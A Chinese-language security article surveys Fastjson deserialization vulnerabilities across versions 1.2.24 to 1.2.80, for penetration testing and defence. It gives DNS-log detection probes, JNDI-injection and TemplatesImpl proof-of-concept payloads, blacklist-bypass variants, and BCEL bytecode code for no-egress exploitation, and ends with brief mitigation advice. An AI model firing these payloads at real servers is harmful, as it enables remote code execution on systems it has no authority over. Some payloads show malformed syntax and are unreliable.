Java中Fastjson各版本漏洞对抗史与总结
字数 1609 2025-08-22 18:37:22
Fastjson反序列化漏洞全解析与对抗史
1. Fastjson漏洞概述
Fastjson是阿里巴巴的开源JSON解析库,可以解析JSON格式的字符串,支持将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。
漏洞本质
Fastjson反序列化漏洞源于在处理JSON数据时对输入的验证不足,没有对@type字段进行充分过滤,导致攻击者可以构造恶意JSON数据,将恶意类作为AutoType的值,当Fastjson反序列化时实例化指定类导致远程代码执行。
漏洞指纹特征
- 提交为POST请求
- Content-Type改为application/json
- 测试是否返回fastjson字符串(也可能是无回显)
2. 漏洞检测方法
DNS盲打验证
{
"aa": {
"@type": "java.net.Inet4Address",
"val": "dnslog"
}
}
{
"aa": {
"@type": "java.net.Inet6Address",
"val": "dnslog"
}
}
{
"@type": "java.net.URL",
"val": "http://dnslog.com"
}: "a"
}
3. 漏洞原理详解
Fastjson反序列化时,可能会将目标类的以下方法执行一遍:
- 构造函数
- getter方法
- setter方法
- is方法
如果这些方法中存在危险操作,就会导致反序列化漏洞。
简单漏洞示例
public class Student {
public String name;
private int age;
public Student() {
System.out.println("Student构造函数");
}
public String getName() {
System.out.println("Student getName");
return name;
}
public void setName(String name) throws IOException {
System.out.println("Student setName");
Runtime.getRuntime().exec("calc");
this.name = name;
}
public int getAge() {
System.out.println("Student getAge");
return age;
}
}
利用代码:
String json = "{\"@type\":\"FastjsonDemo.fastJsonDemo1.Student\",\"age\":18,\"name\":\"5wimming\"}";
Student student = JSON.parseObject(json, Student.class, Feature.SupportNonPublicField);
4. Fastjson各版本漏洞对抗史
4.1 Fastjson 1.2.24及以下版本
4.1.1 TemplatesImpl反序列化
影响版本:fastjson <= 1.2.24
利用链:
构造TemplatesImpl反序列化字符串 -> _bytecodes加载字节码 -> 令其父类为AbstractTranslet -> 通过newInstance()实例化
POC:
{
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["恶意字节码"],
"_name": "test",
"_tfactory": {},
"_outputProperties": {}
}
4.1.2 JdbcRowSetImpl反序列化
利用链:
JdbcRowSetImpl -> setAutoCommit() -> connect() -> lookup() -> JNDI注入
POC:
{
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1234/Exploit",
"autoCommit": true
}
4.2 Fastjson 1.2.25
安全更新:
- 引入checkAutoType安全机制
- 默认关闭autoTypeSupport
- 设置denyList(黑名单)和acceptList(白名单)
绕过方式:
使用类描述符绕过(L、[、;等字符)
POC:
{
"@type": "[com.sun.rowset.JdbcRowSetImpl;",
"dataSourceName": "ldap://127.0.0.1:1234/Exploit",
"autoCommit": true
}
4.3 Fastjson 1.2.42
更新内容:
- 对黑名单规则进行修改
- 添加Hash校验黑名单
绕过方式:
使用双类描述符
POC:
{
"@type": "LLcom.sun.rowset.JdbcRowSetImpl;;",
"dataSourceName": "ldap://127.0.0.1:1234/Exploit",
"autoCommit": true
}
4.4 Fastjson 1.2.43
绕过方式:
使用[字符绕过
POC:
{
"@type": "[com.sun.rowset.JdbcRowSetImpl"[,
{
"dataSourceName": "ldap://127.0.0.1:1234/Exploit",
"autoCommit": true
}
}
4.5 Fastjson 1.2.45
利用条件:
- 目标存在mybatis的jar包(3.x.x ~ 3.5.0)
- autoTypeSupport属性为true
POC:
{
"@type": "org.apache.ibatis.datasource.jndi.JndiDataSourceFactory",
"properties": {
"data_source": "ldap://127.0.0.1:1234/Exploit"
}
}
4.6 Fastjson 1.2.47
特点:
- 不需要开启AutoTypeSupport
- AutoType为关闭状态也可利用
利用链:
DefaultJSONParser解析 -> MiscCodec.deserialze() -> loadClass加载并缓存 -> 二次请求绕过黑名单
POC:
{
"aaa": {
"@type": "java.lang.Class",
"val": "com.sun.rowset.JdbcRowSetImpl"
},
"bbb": {
"@type": "com.sun.rowset.JdbcRowSetImpl",
"dataSourceName": "ldap://127.0.0.1:1234/Exploit",
"autoCommit": true
}
}
4.7 Fastjson 1.2.62/1.2.66
POC:
{
"@type":"org.apache.xbean.propertyeditor.JndiConverter",
"AsText":"rmi://127.0.0.1:1099/exploit"
}
4.8 Fastjson 1.2.68
绕过方式:
使用expectClass绕过checkAutoType检测机制(Throwable和AutoCloseable)
4.9 Fastjson 1.2.80
利用方式:
利用异常类Throwable绕过
版本探测POC:
{
"@type": "java.lang.Exception",
"@type": "com.alibaba.fastjson.JSONException",
"x": {
"@type": "java.net.InetSocketAddress"{
"address":,
"val": "dnslog"
}
}
}
5. 不出网利用姿势
5.1 基于BCEL字节码绕过
步骤:
- 生成BCEL字节码
- 构造POC利用
BCEL生成代码:
import com.sun.org.apache.bcel.internal.classfile.Utility;
import java.io.BufferedWriter;
import java.io.FileWriter;
import java.io.IOException;
import java.nio.file.Files;
import java.nio.file.Path;
import java.nio.file.Paths;
public class BCEL_exp {
public static void main(String[] args) throws IOException {
Path path = Paths.get("exp.class");
byte[] bytes = Files.readAllBytes(path);
String encode = Utility.encode(bytes, true);
BufferedWriter bw = new BufferedWriter(new FileWriter("./res.txt"));
bw.write("
$$
BECL
$$
" + encode);
bw.close();
}
}
POC:
{
"a": {
"@type": "java.lang.Class",
"val": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource"
},
"b": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"c": {
"@type": "org.apache.tomcat.dbcp.dbcp2.BasicDataSource",
"driverClassLoader": {
"@type": "com.sun.org.apache.bcel.internal.util.ClassLoader"
},
"driverClassName": "
$$
BECL
$$
[生成的字节码]"
}
}
5.2 基于TemplatesImpl的回显
{
"a": {
"@type": "java.lang.Class",
"val": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl"
},
"b": {
"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl",
"_bytecodes": ["字节码"],
"_name": "a.b",
"_tfactory": {},
"_outputProperties": {},
"_name": "b",
"_version": "1.0",
"allowedProtocols": "all"
}
}
6. 漏洞防护与总结
防护建议
- 升级到最新版本Fastjson
- 开启safeMode模式
- 避免反序列化不可信数据
反序列化机制总结
- Java Bean反序列化机制:通过反射直接设置字段值
- Property反序列化机制:通过setter/getter方法设置字段值(Fastjson使用此方式)
Fastjson漏洞对抗关键点
- 1.2.25:引入checkAutoType机制,加入黑白名单
- 1.2.42-1.2.43:增加对类描述符的检测
- 1.2.47:利用缓存机制绕过
- 1.2.68+:利用expectClass和异常类绕过
通过了解Fastjson的漏洞演变历史和安全机制的改进过程,可以更好地防御相关攻击,同时也能在渗透测试中针对不同版本采取合适的利用方式。